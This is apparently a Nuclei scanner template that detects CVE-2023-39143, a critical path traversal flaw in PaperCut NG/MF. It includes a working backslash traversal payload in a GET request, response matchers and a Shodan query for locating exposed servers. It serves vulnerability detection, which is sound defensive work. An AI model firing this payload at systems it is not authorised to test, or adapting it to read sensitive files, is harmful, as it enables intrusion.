id: CVE-2023-39143

info:
  name: PaperCut < 22.1.3 - Path Traversal
  author: pdteam
  severity: critical
  description: PaperCut NG and PaperCut MF before 22.1.3 are vulnerable to path traversal which enables attackers to read, delete, and upload arbitrary files.
  remediation: |
    Upgrade PaperCut to version 22.1.3 or later to mitigate the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39143
    - https://www.horizon3.ai/cve-2023-39143-papercut-path-traversal-file-upload-rce-vulnerability/
    - https://www.papercut.com/kb/Main/securitybulletinjuly2023/
    - https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-131a
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-39143
    cwe-id: CWE-22
    epss-score: 0.89149
    epss-percentile: 0.98437
    cpe: cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: papercut
    product: papercut_mf
    shodan-query: html:"content="PaperCut""
  tags: cve,cve2023,lfi,papercut

http:
  - method: GET
    path:
      - "{{BaseURL}}/custom-report-example/..\\..\\..\\deployment\\sharp\\icons\\home-app.png"

    matchers:
      - type: dsl
        dsl:
          - content_length == 1655
          - status_code == 200
          - contains(to_lower(content_type), "image/png")
          - contains(hex_encode(body), "89504e470d0a1a0a") # PNG file signature in hex
        condition: and

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